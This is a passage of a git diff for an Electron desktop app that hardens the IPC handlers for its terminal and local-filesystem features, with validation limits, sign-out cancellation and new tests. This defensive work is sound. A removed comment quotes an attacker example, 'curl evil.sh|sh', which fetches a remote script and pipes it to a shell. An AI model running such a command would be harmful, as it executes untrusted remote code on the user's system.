-        if (!scope || isPendingDesktopScopeId(scope)) return false
+        const contents = sender as WebContents
+        if (
+          !scope ||
+          isPendingDesktopScopeId(scope) ||
+          terminalScopeBySender.get(contents) !== scope
+        ) {
+          return false
+        }
         const suspended = deps.terminal.suspendScope(scope)
         if (suspended) {
           deps.scopeEvents.sendTerminal(scope, 'terminal:scope-suspended', scope)
@@ -1737,13 +1761,15 @@ export function registerIpcHandlers(deps: IpcDeps): void {
       gate: 'app-origin',
       requires: 'terminal',
       passSender: true,
+      needsUserActivation: true,
       denied: { tabs: [], activeTerminalId: null },
       handler: (sender, terminalId, rawScope) => {
-        const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
+        const contents = sender as WebContents
+        const scope = activeRendererScope(terminalScopeBySender, contents, rawScope)
         if (!scope) return { tabs: [], activeTerminalId: null }
         const tabs =
           typeof terminalId === 'string'
-            ? deps.terminal.closeTerminal(scope, terminalId)
+            ? deps.terminal.closeUserTerminal(scope, terminalId, contents)
             : deps.terminal.getTabs(scope)
         return { ...tabs, scopeId: scope }
       },
@@ -1756,20 +1782,15 @@ export function registerIpcHandlers(deps: IpcDeps): void {
       handler: (sender, terminalId, data, rawScope) => {
         const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
         if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return
-        if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return
-        writeTerminalText(deps.terminal, scope, terminalId, data)
+        if (data.length === 0 || data.length > MAX_TERMINAL_WRITE_CHARS) return
+        if (data.length <= MAX_PTY_REPLY_CHARS && PTY_REPLY.test(data)) {
+          writeTerminalText(deps.terminal, scope, terminalId, data)
+          return
+        }
+        const contents = sender as WebContents
+        if (!hasRecentDeliberateInput(contents)) return
+        writeTerminalText(deps.terminal, scope, terminalId, data, contents)
       },
-      // An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
-      // Panel focus is deliberately not used — `terminal:focused` is a
-      // renderer-asserted claim the same attacker can set.
-      //
-      // MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's
-      // line buffer, where the user's own next Enter submits it — visible on
-      // screen, but not prevented. Closing that needs the interactive path off
-      // the renderer surface entirely (main writing the keystrokes it already
-      // observes) or the terminal in its own WebContents, neither of which is a
-      // gate change. Tracked as follow-up.
-      payloadNeedsDeliberateInput: true,
     },
     'terminal:resize': {
       kind: 'send',
@@ -1787,13 +1808,6 @@ export function registerIpcHandlers(deps: IpcDeps): void {
         deps.terminal.resize(scope, terminalId, toCellCount(cols, 1), toCellCount(rows, 1))
       },
     },
-    'terminal:dispose': {
-      kind: 'send',
-      gate: 'app-origin',
-      deviationReason:
-        'tearing the surface down must survive the surface being off, or a terminal left running when the feature was disabled could never be reaped',
-      handler: () => deps.terminal.dispose(),
-    },
     'offline:retry': {
       kind: 'send',
       gate: 'local-page',
@@ -1831,20 +1845,38 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     if (gate === 'any') return true
     if (gate === 'app-origin') return isAppOriginSender(event, deps.appOrigin())
     if (gate === 'browser-page') return isAgentWebContents(event.sender)
-    return isLocalPageSender(event)
+    return isLocalPageSender(event, deps.localPagePaths)
   }
 
   const featureAllowed = (feature: ChannelFeature | undefined): boolean => {
     if (!feature) return true
+    if (!deps.accountDataAvailable()) return false
     const preferences = deps.settings.getPreferences()
     return feature === 'browser' ? preferences.browserEnabled : preferences.terminalEnabled
   }
 
+  const accountDataAllowed = (spec: ChannelSpec): boolean =>
+    spec.requiresAccountData !== true || deps.accountDataAvailable()
+
+  const requiresUserActivation = (
+    requirement: ChannelSpecBase['needsUserActivation'],
+    args: readonly unknown[]
+  ): boolean => (typeof requirement === 'function' ? requirement(args) : requirement === true)
+
   for (const [channel, spec] of Object.entries(channels)) {
     if (spec.kind === 'invoke') {
       ipcMain.handle(channel, async (event, ...args) => {
-        if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return spec.denied
-        if (spec.needsUserActivation && !senderHasUserGesture(event)) {
+        if (
+          !senderAllowed(event, spec.gate) ||
+          !featureAllowed(spec.requires) ||
+          !accountDataAllowed(spec)
+        ) {
+          return spec.denied
+        }
+        if (
+          requiresUserActivation(spec.needsUserActivation, args) &&
+          !senderHasUserGesture(event)
+        ) {
           return spec.denied
         }
         let handlerArgs = args
@@ -1857,6 +1889,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
           const authorization = await fetchDesktopToolAuthorization(event, deps, args[0])
           if (
             !authorization ||
+            !requestedScope ||
+            authorization.chatId !== requestedScope ||
             typeof requestedTool !== 'string' ||
             authorization.toolName !== requestedTool ||
             !isBrowserToolName(authorization.toolName)
@@ -1921,11 +1955,16 @@ export function registerIpcHandlers(deps: IpcDeps): void {
       })
     } else {
       ipcMain.on(channel, (event, ...args) => {
-        if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return
         if (
-          spec.payloadNeedsDeliberateInput &&
-          needsDeliberateInputForWrite(args) &&
-          !hasRecentDeliberateInput(event.sender)
+          !senderAllowed(event, spec.gate) ||
+          !featureAllowed(spec.requires) ||
+          !accountDataAllowed(spec)
+        ) {
+          return
+        }
+        if (
+          requiresUserActivation(spec.needsUserActivation, args) &&
+          !senderHasUserGesture(event)
         ) {
           return
         }
diff --git a/apps/desktop/src/main/local-filesystem-grant-store.test.ts b/apps/desktop/src/main/local-filesystem-grant-store.test.ts
index 043a3577cb1..2f5ff67f473 100644
--- a/apps/desktop/src/main/local-filesystem-grant-store.test.ts
+++ b/apps/desktop/src/main/local-filesystem-grant-store.test.ts
@@ -1,4 +1,4 @@
-import { mkdtemp, readFile } from 'node:fs/promises'
+import { mkdtemp, readFile, stat, truncate, writeFile } from 'node:fs/promises'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
 import { describe, expect, it, vi } from 'vitest'
@@ -42,6 +42,32 @@ describe('createEncryptedLocalFilesystemGrantStore', () => {
     await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
   })
 
+  it('does not let an earlier save recreate the store after a later clear', async () => {
+    const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
+    const filePath = join(directory, 'grants.json')
+    const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
+    const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]
+
+    await store.load()
+    const saving = store.save(grants)
+    const clearing = store.clear()
+    await Promise.all([saving, clearing])
+
+    await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
+  })
+
+  it('applies concurrent mutations in invocation order', async () => {
+    const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
+    const filePath = join(directory, 'grants.json')
+    const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
+    const first = [{ id: 'grant-1', name: 'first', rootPath: '/private/first' }]
+    const second = [{ id: 'grant-2', name: 'second', rootPath: '/private/second' }]
+
+    await Promise.all([store.save(first), store.clear(), store.save(second)])
+
+    await expect(store.load()).resolves.toEqual(second)
+  })
+
   it('does not write a plaintext fallback when OS encryption is unavailable', async () => {
     const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
     const filePath = join(directory, 'grants.json')
@@ -52,4 +78,68 @@ describe('createEncryptedLocalFilesystemGrantStore', () => {
     ).resolves.toBe(false)
     await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
   })
+
+  it('preserves an invalid existing store until an explicit clear', async () => {
+    const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
+    const filePath = join(directory, 'grants.json')
+    const original = '{not valid json'
+    await writeFile(filePath, original)
+    const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
+    const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]
+
+    await expect(store.load()).resolves.toEqual([])
+    await expect(store.save(grants)).resolves.toBe(false)
+    await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
+
+    await store.clear()
+    await expect(store.save(grants)).resolves.toBe(true)
+    await expect(store.load()).resolves.toEqual(grants)
+  })
+
+  it('does not replace a store written by a foreign version', async () => {
+    const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
+    const filePath = join(directory, 'grants.json')
+    const original = JSON.stringify({ version: 99, ciphertext: 'future' })
+    await writeFile(filePath, original)
+    const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
+
+    await expect(store.save([])).resolves.toBe(false)
+    await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
+  })
+
+  it('preserves an oversized grant store until explicit clear', async () => {
+    const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
+    const filePath = join(directory, 'grants.json')
+    await writeFile(filePath, '')
+    await truncate(filePath, 4 * 1024 * 1024 + 1)
+    const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
+
+    await expect(store.load()).resolves.toEqual([])
+    await expect(
+      store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }])
+    ).resolves.toBe(false)
+    expect((await stat(filePath)).size).toBe(4 * 1024 * 1024 + 1)
+
+    await store.clear()
+    await expect(
+      store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }])
+    ).resolves.toBe(true)
+  })
+
+  it('blocks stored grants with fields outside the persistence contract', async () => {
+    const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
+    const filePath = join(directory, 'grants.json')
+    const encryption = testEncryption()
+    const payload = [{ id: 'grant-1', name: 'project', rootPath: `/${'x'.repeat(4_096)}` }]
+    const original = JSON.stringify({
+      version: 1,
+      ciphertext: encryption.encryptString(JSON.stringify(payload)).toString('base64'),
+    })
+    await writeFile(filePath, original)
+    const store = createEncryptedLocalFilesystemGrantStore(filePath, encryption)
+
+    await expect(store.load()).resolves.toEqual([])
+    await expect(store.save([])).resolves.toBe(false)
+    await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
+  })
 })
diff --git a/apps/desktop/src/main/local-filesystem-grant-store.ts b/apps/desktop/src/main/local-filesystem-grant-store.ts
index 2a086e11251..67216976840 100644
--- a/apps/desktop/src/main/local-filesystem-grant-store.ts
+++ b/apps/desktop/src/main/local-filesystem-grant-store.ts
@@ -1,8 +1,21 @@
-import { readFile } from 'node:fs/promises'
+import { createLogger } from '@sim/logger'
 import { safeStorage } from 'electron'
-import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
+import {
+  FileResourceLimitError,
+  readFileWithinLimit,
+  removeFileIfPresent,
+  writeJsonFileAtomically,
+} from '@/main/atomic-json-file'
 
 const STORE_VERSION = 1
+const MAX_GRANT_STORE_BYTES = 4 * 1024 * 1024
+const MAX_GRANT_PAYLOAD_BYTES = 5 * 512 * 1024
+const MAX_PERSISTED_GRANTS = 256
+const MAX_GRANT_ID_LENGTH = 128
+const MAX_GRANT_NAME_LENGTH = 512
+const MAX_GRANT_PATH_LENGTH = 4_096
+const MAX_GRANT_BOOKMARK_LENGTH = 256 * 1024
+const logger = createLogger('LocalFilesystemGrantStore')
 
 export interface PersistedLocalFilesystemGrant {
   id: string
@@ -33,9 +46,19 @@ function isPersistedGrant(value: unknown): value is PersistedLocalFilesystemGran
   const grant = value as Record<string, unknown>
   return (
     typeof grant.id === 'string' &&
+    grant.id.length > 0 &&
+    grant.id.length <= MAX_GRANT_ID_LENGTH &&
     typeof grant.name === 'string' &&
+    grant.name.length > 0 &&
+    grant.name.length <= MAX_GRANT_NAME_LENGTH &&
     typeof grant.rootPath === 'string' &&
-    (grant.bookmark === undefined || typeof grant.bookmark === 'string')
+    grant.rootPath.length > 0 &&
+    grant.rootPath.length <= MAX_GRANT_PATH_LENGTH &&
+    !grant.rootPath.includes('\0') &&
+    (grant.bookmark === undefined ||
+      (typeof grant.bookmark === 'string' &&
+        grant.bookmark.length > 0 &&
+        grant.bookmark.length <= MAX_GRANT_BOOKMARK_LENGTH))
   )
 }
 
@@ -62,33 +85,93 @@ export function createEncryptedLocalFilesystemGrantStore(
   filePath: string,
   encryption: EncryptionProvider = safeStorage
 ): LocalFilesystemGrantStore {
-  return {
-    async load() {
-      if (!encryptionAvailable(encryption)) return []
-      try {
-        const raw = JSON.parse(await readFile(filePath, 'utf8')) as Partial<EncryptedGrantEnvelope>
-        if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') return []
-        const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
-        const parsed = JSON.parse(decrypted) as unknown
-        return Array.isArray(parsed) ? parsed.filter(isPersistedGrant) : []
-      } catch {
+  let state: 'unknown' | 'writable' | 'blocked' = 'unknown'
+  let mutationTail = Promise.resolve()
+
+  const enqueueMutation = <T>(operation: () => Promise<T>): Promise<T> => {
+    const result = mutationTail.then(operation)
+    mutationTail = result.then(
+      () => undefined,
+      () => undefined
+    )
+    return result
+  }
+
+  const blockPersistence = (
+    reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
+  ) => {
+    if (state !== 'blocked') {
+      logger.warn('Local filesystem grant persistence is unavailable', { reason })
+    }
+    state = 'blocked'
+  }
+
+  const load = async (): Promise<PersistedLocalFilesystemGrant[]> => {
+    if (!encryptionAvailable(encryption) || state === 'blocked') return []
+    try {
+      const raw = JSON.parse(
+        (await readFileWithinLimit(filePath, MAX_GRANT_STORE_BYTES)).toString('utf8')
+      ) as Partial<EncryptedGrantEnvelope>
+      if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') {
+        blockPersistence('invalid-envelope')
         return []
       }
-    },
-
-    async save(grants) {
-      if (!encryptionAvailable(encryption)) return false
-      const encrypted = encryption.encryptString(JSON.stringify(grants))
-      const envelope: EncryptedGrantEnvelope = {
-        version: STORE_VERSION,
-        ciphertext: encrypted.toString('base64'),
+      const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
+      if (Buffer.byteLength(decrypted, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) {
+        blockPersistence('resource-limit')
+        return []
       }
-      await writeJsonFileAtomically(filePath, envelope)
-      return true
+      const parsed = JSON.parse(decrypted) as unknown
+      if (
+        !Array.isArray(parsed) ||
+        parsed.length > MAX_PERSISTED_GRANTS ||
+        !parsed.every(isPersistedGrant)
+      ) {
+        blockPersistence('invalid-payload')
+        return []
+      }
+      state = 'writable'
+      return parsed
+    } catch (error) {
+      if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+        state = 'writable'
+        return []
+      }
+      if (error instanceof FileResourceLimitError) {
+        blockPersistence('resource-limit')
+        return []
+      }
+      blockPersistence('read-failed')
+      return []
+    }
+  }
+
+  return {
+    load,
+
+    save(grants) {
+      return enqueueMutation(async () => {
+        if (!encryptionAvailable(encryption)) return false
+        if (state === 'unknown') await load()
+        if (state === 'blocked') return false
+        if (grants.length > MAX_PERSISTED_GRANTS || !grants.every(isPersistedGrant)) return false
+        const payload = JSON.stringify(grants)
+        if (Buffer.byteLength(payload, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) return false
+        const encrypted = encryption.encryptString(payload)
+        const envelope: EncryptedGrantEnvelope = {
+          version: STORE_VERSION,
+          ciphertext: encrypted.toString('base64'),
+        }
+        await writeJsonFileAtomically(filePath, envelope)
+        return true
+      })
     },
 
-    async clear() {
-      await removeFileIfPresent(filePath)
+    clear() {
+      return enqueueMutation(async () => {
+        await removeFileIfPresent(filePath)
+        state = 'writable'
+      })
     },
   }
 }
diff --git a/apps/desktop/src/main/local-filesystem.test.ts b/apps/desktop/src/main/local-filesystem.test.ts
index e54418f11a7..a04e532bf93 100644
--- a/apps/desktop/src/main/local-filesystem.test.ts
+++ b/apps/desktop/src/main/local-filesystem.test.ts
@@ -12,6 +12,7 @@ import {
   DEFAULT_READ_LINES,
 } from '@sim/desktop-bridge/local-filesystem-limits'
 import { shell } from 'electron'
+import { advanceAccountDataGeneration } from '@/main/account-data-generation'
 import { LocalFilesystemService } from '@/main/local-filesystem'
 import type {
   LocalFilesystemGrantStore,
@@ -151,6 +152,74 @@ describe('LocalFilesystemService', () => {
     expect(statData).toMatchObject({ name: 'index.ts', kind: 'file' })
   })
 
+  it('returns a bounded, explicitly truncated directory listing', async () => {
+    const generatedNames = Array.from(
+      { length: 510 },
+      (_, index) => `generated-${String(509 - index).padStart(3, '0')}.txt`
+    )
+    await Promise.all(generatedNames.map((name) => writeFile(join(root, name), '')))
+    const granted = await mount(service)
+
+    const listing = dataOf(await service.handle({ operation: 'list', uri: granted.uri }))
+    const entries = 'entries' in listing ? listing.entries : []
+
+    expect(listing).toMatchObject({ truncated: true })
+    expect(entries).toHaveLength(500)
+    expect(entries.map((entry) => entry.name)).toEqual(
+      ['README.md', 'src', ...generatedNames]
+        .sort((left, right) => left.localeCompare(right))
+        .slice(0, 500)
+    )
+  })
+
+  it('returns the same capped glob membership regardless of directory enumeration order', async () => {
+    const generatedNames = Array.from(
+      { length: 501 },
+      (_, index) => `glob-${String(500 - index).padStart(3, '0')}.match`
+    )
+    for (const name of generatedNames) {
+      await writeFile(join(root, name), '')
+    }
+    const granted = await mount(service)
+
+    const result = dataOf(
+      await service.handle({ operation: 'glob', uri: granted.uri, pattern: '*.match' })
+    )
+    const entries = 'entries' in result ? result.entries : []
+
+    expect(result).toMatchObject({ truncated: true })
+    expect(entries.map((entry) => entry.name)).toEqual(generatedNames.sort().slice(0, 500))
+  })
+
+  it('returns the same capped grep membership regardless of directory enumeration order', async () => {
+    const generatedNames = Array.from(
+      { length: 5 },
+      (_, index) => `grep-${String(4 - index).padStart(3, '0')}.txt`
+    )
+    for (const name of generatedNames) {
+      await writeFile(join(root, name), 'deterministic match\n')
+    }
+    const granted = await mount(service)
+
+    const result = dataOf(
+      await service.handle({
+        operation: 'grep',
+        uri: granted.uri,
+        pattern: 'deterministic match',
+        outputMode: 'files_with_matches',
+        maxResults: 3,
+      })
+    )
+
+    expect(result).toEqual({
+      files: generatedNames
+        .sort()
+        .slice(0, 3)
+        .map((name) => `${granted.uri}${name}`),
+      truncated: true,
+    })
+  })
+
   it('supports the normal VFS grep regex and output modes', async () => {
     const granted = await mount(service)
 
@@ -456,6 +525,102 @@ describe('LocalFilesystemService', () => {
     expect(response).toMatchObject({ ok: false, code: 'MOUNT_NOT_FOUND' })
   })
 
+  it('does not commit a directory chosen after account teardown starts', async () => {
+    const grantStore = new MemoryGrantStore()
+    let resolveSelection: ((selection: string) => void) | undefined
+    const selection = new Promise<string>((resolve) => {
+      resolveSelection = resolve
+    })
+    const pendingService = new LocalFilesystemService({
+      chooseDirectory: () => selection,
+      grantStore,
+    })
+
+    const pendingMount = pendingService.handle({ operation: 'mount_directory' })
+    await pendingService.forgetAll()
+    resolveSelection?.(root)
+
+    await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' })
+    expect(grantStore.grants).toEqual([])
+    expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({
+      mounts: [],
+    })
+  })
+
+  it('waits for an admitted grant update before forgetAll clears persistence', async () => {
+    let delaySave = false
+    let releaseSave: (() => void) | undefined
+    let signalSaveStarted: (() => void) | undefined
+    const saveStarted = new Promise<void>((resolve) => {
+      signalSaveStarted = resolve
+    })
+    const grantStore = new MemoryGrantStore()
+    const originalSave = grantStore.save.bind(grantStore)
+    grantStore.save = async (grants) => {
+      if (delaySave) {
+        await new Promise<void>((resolve) => {
+          releaseSave = resolve
+          signalSaveStarted?.()
+        })
+      }
+      return originalSave(grants)
+    }
+    const selections = [root, join(root, 'src')]
+    const pendingService = new LocalFilesystemService({
+      chooseDirectory: async () => selections.shift() ?? null,
+      grantStore,
+    })
+    const first = await mount(pendingService)
+    await mount(pendingService)
+    delaySave = true
+
+    const forgettingMount = pendingService.handle({
+      operation: 'forget_mount',
+      uri: first.uri,
+    })
+    await saveStarted
+    const forgettingAll = pendingService.forgetAll()
+    releaseSave?.()
+
+    await Promise.all([forgettingMount, forgettingAll])
+    expect(grantStore.grants).toEqual([])
+  })
+
+  it('releases security-scoped access once when persistence finishes after generation expiry', async () => {
+    let resolveSave: ((remembered: boolean) => void) | undefined
+    let signalSaveStarted: (() => void) | undefined
+    const saveStarted = new Promise<void>((resolve) => {
+      signalSaveStarted = resolve
+    })
+    const grantStore: LocalFilesystemGrantStore = {
+      load: async () => [],
+      save: async () => {
+        signalSaveStarted?.()
+        return new Promise<boolean>((resolve) => {
+          resolveSave = resolve
+        })
+      },
+      clear: vi.fn(async () => {}),
+    }
+    const stopAccessing = vi.fn()
+    const pendingService = new LocalFilesystemService({
+      chooseDirectory: async () => ({ path: root, bookmark: 'bookmark' }),
+      grantStore,
+      startAccessingBookmark: () => stopAccessing,
+    })
+
+    const pendingMount = pendingService.handle({ operation: 'mount_directory' })
+    await saveStarted
+    advanceAccountDataGeneration()
+    resolveSave?.(true)
+
+    await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' })
+    expect(stopAccessing).toHaveBeenCalledOnce()
+    expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({
+      mounts: [],
+    })
+  })
+
   it('restores an encrypted grant with the same opaque URI after restart', async () => {
     const grantStore = new MemoryGrantStore()
     const firstStopAccessing = vi.fn()
diff --git a/apps/desktop/src/main/local-filesystem.ts b/apps/desktop/src/main/local-filesystem.ts
index 0b115133a00..573f5a8cb88 100644
--- a/apps/desktop/src/main/local-filesystem.ts
+++ b/apps/desktop/src/main/local-filesystem.ts
@@ -1,4 +1,5 @@
-import { lstat, readdir, readFile, realpath, stat } from 'node:fs/promises'
+import type { Dirent } from 'node:fs'
+import { lstat, opendir, readFile, realpath, stat } from 'node:fs/promises'
 import { basename, isAbsolute, relative, resolve, sep } from 'node:path'
 import type {
   LocalFilesystemData,
@@ -21,6 +22,13 @@ import { isRecordLike } from '@sim/utils/object'
 import { app, dialog, shell } from 'electron'
 import micromatch from 'micromatch'
 import safeRegex from 'safe-regex2'
+import {
+  advanceAccountDataGeneration,
+  captureAccountDataGeneration,
+  isAccountDataGenerationCurrent,
+  runAccountDataMutation,
+  waitForAccountDataMutations,
+} from '@/main/account-data-generation'
 import type {
   LocalFilesystemGrantStore,
   PersistedLocalFilesystemGrant,
@@ -28,6 +36,7 @@ import type {
 
 const MAX_URI_LENGTH = 4096
 const MAX_LIST_ENTRIES = 500
+const LIST_METADATA_BATCH_SIZE = 16
 const MAX_SCAN_ENTRIES = 10_000
 const MAX_SCAN_DEPTH = 50
 const MAX_GLOB_RESULTS = 500
@@ -256,6 +265,69 @@ function throwIfAborted(signal?: AbortSignal): void {
   }
 }
 
+function compareDirectoryEntries(left: Dirent, right: Dirent): number {
+  return left.name.localeCompare(right.name)
+}
+
+function addToBoundedDirectoryHeap(heap: Dirent[], entry: Dirent, limit: number): void {
+  if (heap.length < limit) {
+    heap.push(entry)
+    let index = heap.length - 1
+    while (index > 0) {
+      const parentIndex = Math.floor((index - 1) / 2)
+      if (compareDirectoryEntries(heap[parentIndex], heap[index]) >= 0) break
+      const parent = heap[parentIndex]
+      heap[parentIndex] = heap[index]
+      heap[index] = parent
+      index = parentIndex
+    }
+    return
+  }
+
+  if (compareDirectoryEntries(entry, heap[0]) >= 0) return
+  heap[0] = entry
+  let index = 0
+  while (true) {
+    const leftIndex = index * 2 + 1
+    const rightIndex = leftIndex + 1
+    let largestIndex = index
+    if (
+      leftIndex < heap.length &&
+      compareDirectoryEntries(heap[leftIndex], heap[largestIndex]) > 0
+    ) {
+      largestIndex = leftIndex
+    }
+    if (
+      rightIndex < heap.length &&
+      compareDirectoryEntries(heap[rightIndex], heap[largestIndex]) > 0
+    ) {
+      largestIndex = rightIndex
+    }
+    if (largestIndex === index) return
+    const current = heap[index]
+    heap[index] = heap[largestIndex]
+    heap[largestIndex] = current
+    index = largestIndex
+  }
+}
+
+async function selectDirectoryEntries(
+  path: string,
+  limit: number,
+  signal?: AbortSignal
+): Promise<{ entries: Dirent[]; truncated: boolean }> {
+  const entries: Dirent[] = []
+  let seen = 0
+  const directory = await opendir(path)
+  for await (const entry of directory) {
+    throwIfAborted(signal)
+    seen++
+    addToBoundedDirectoryHeap(entries, entry, limit)
+  }
+  entries.sort(compareDirectoryEntries)
+  return { entries, truncated: seen > entries.length }
+}
+
 export class LocalFilesystemService {
   private readonly mounts = new Map<string, GrantedMount>()
   private readonly activeRequests = new Map<string, AbortController>()
@@ -314,7 +386,9 @@ export class LocalFilesystemService {
 
   /** Revoke every remembered grant, used on sign-out and origin changes. */
   async forgetAll(): Promise<void> {
+    advanceAccountDataGeneration()
     this.close()
+    await waitForAccountDataMutations()
     await this.grantStore?.clear()
   }
 
@@ -534,17 +608,32 @@ export class LocalFilesystemService {
   }
 
   private async mountDirectory(): Promise<LocalFilesystemData> {
+    const generation = captureAccountDataGeneration()
     const selection = await this.chooseDirectory()
     if (!selection) return { mount: null, cancelled: true }
+    if (!isAccountDataGenerationCurrent(generation)) {
+      throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
+    }
 
     const selected = typeof selection === 'string' ? { path: selection } : selection
     const stopAccessing = selected.bookmark
       ? this.startAccessingBookmark(selected.bookmark)
       : undefined
+    let accessReleased = false
+    const releaseAccess = stopAccessing
+      ? () => {
+          if (accessReleased) return
+          accessReleased = true
+          stopAccessing()
+        }
+      : undefined
 
     try {
       const rootPath = await realpath(selected.path)
       const rootStat = await stat(rootPath)
+      if (!isAccountDataGenerationCurrent(generation)) {
+        throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
+      }
       if (!rootStat.isDirectory()) {
         throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The selected item is not a directory.')
       }
@@ -553,7 +642,7 @@ export class LocalFilesystemService {
       const id = existing?.id ?? generateId()
       const bookmark = selected.bookmark ?? existing?.bookmark
       const nextStopAccessing = selected.bookmark
-        ? stopAccessing
+        ? releaseAccess
         : (existing?.stopAccessing ??
           (bookmark ? this.startAccessingBookmark(bookmark) : undefined))
       if (selected.bookmark) {
@@ -569,10 +658,21 @@ export class LocalFilesystemService {
         ...(nextStopAccessing ? { stopAccessing: nextStopAccessing } : {}),
       }
       this.mounts.set(id, mount)
-      mount.remembered = await this.persistMounts()
+      try {
+        mount.remembered = await runAccountDataMutation(generation, () => this.persistMounts())
+      } catch (error) {
+        this.mounts.delete(id)
+        throw error
+      }
+      if (!isAccountDataGenerationCurrent(generation)) {
+        mount.stopAccessing?.()
+        this.mounts.delete(id)
+        await this.grantStore?.clear()
+        throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
+      }
       return { mount: this.publicMount(mount), cancelled: false }
     } catch (error) {
-      stopAccessing?.()
+      releaseAccess?.()
       throw error
     }
   }
@@ -592,7 +692,9 @@ export class LocalFilesystemService {
 
   private async restoreRememberedMounts(): Promise<void> {
     if (!this.grantStore) return
+    const generation = captureAccountDataGeneration()
     const grants = await this.grantStore.load()
+    if (!isAccountDataGenerationCurrent(generation)) return
     let skipped = false
 
     for (const grant of grants) {
@@ -604,6 +706,10 @@ export class LocalFilesystemService {
       try {
         const rootPath = await realpath(grant.rootPath)
         const rootStat = await stat(rootPath)
+        if (!isAccountDataGenerationCurrent(generation)) {
+          stopAccessing?.()
+          return
+        }
         if (!rootStat.isDirectory()) {
           stopAccessing?.()
           skipped = true
@@ -625,7 +731,7 @@ export class LocalFilesystemService {
     }
 
     if (skipped) {
-      await this.persistMounts()
+      await runAccountDataMutation(generation, () => this.persistMounts())
     }
   }
 
@@ -658,19 +764,22 @@ export class LocalFilesystemService {
   }
 
   private async forgetMount(uri: string): Promise<LocalFilesystemData> {
+    const generation = captureAccountDataGeneration()
     const { mount } = this.parseUri(uri)
     mount.stopAccessing?.()
     this.mounts.delete(mount.id)
 
-    const persisted = await this.persistMounts()
-    if (!persisted && this.grantStore) {
-      // Fail closed: if an updated encrypted grant set cannot be written,
-      // remove the store so a revoked mount cannot return after restart.
-      await this.grantStore.clear()
-      for (const remaining of this.mounts.values()) {
-        remaining.remembered = false
+    await runAccountDataMutation(generation, async () => {
+      const persisted = await this.persistMounts()
+      if (!persisted && this.grantStore) {
+        // Fail closed: if an updated encrypted grant set cannot be written,
+        // remove the store so a revoked mount cannot return after restart.
+        await this.grantStore.clear()
+        for (const remaining of this.mounts.values()) {
+          remaining.remembered = false
+        }
       }
-    }
+    })
     return { forgotten: true }
   }
 
@@ -780,31 +889,37 @@ export class LocalFilesystemService {
       throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The localfs URI is not a directory.')
     }
 
-    const directoryEntries = await readdir(resolvedPath.realPath, { withFileTypes: true })
-    directoryEntries.sort((a, b) => a.name.localeCompare(b.name))
-    const truncated = directoryEntries.length > MAX_LIST_ENTRIES
-    // `allSettled`, so one entry disappearing mid-read does not fail the whole
-    // listing. Build output, downloads and caches churn constantly, and a
-    // single ENOENT should drop that row rather than the directory.
-    const settled = await Promise.allSettled(
-      directoryEntries.slice(0, MAX_LIST_ENTRIES).map(async (directoryEntry) => {
-        const childRelativePath = [resolvedPath.relativePath, directoryEntry.name]
-          .filter(Boolean)
-          .join('/')
-        const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name))
-        const item: LocalFilesystemEntry = {
-          name: directoryEntry.name,
-          uri: localUri(resolvedPath.mount.id, childRelativePath),
-          kind: entryKind(directoryEntry),
-          size: metadata.size,
-          modifiedAt: metadata.mtime.toISOString(),
-        }
-        return item
-      })
-    )
-    const entries = settled.flatMap((result) =>
-      result.status === 'fulfilled' ? [result.value] : []
+    const { entries: directoryEntries, truncated } = await selectDirectoryEntries(
+      resolvedPath.realPath,
+      MAX_LIST_ENTRIES
     )
+
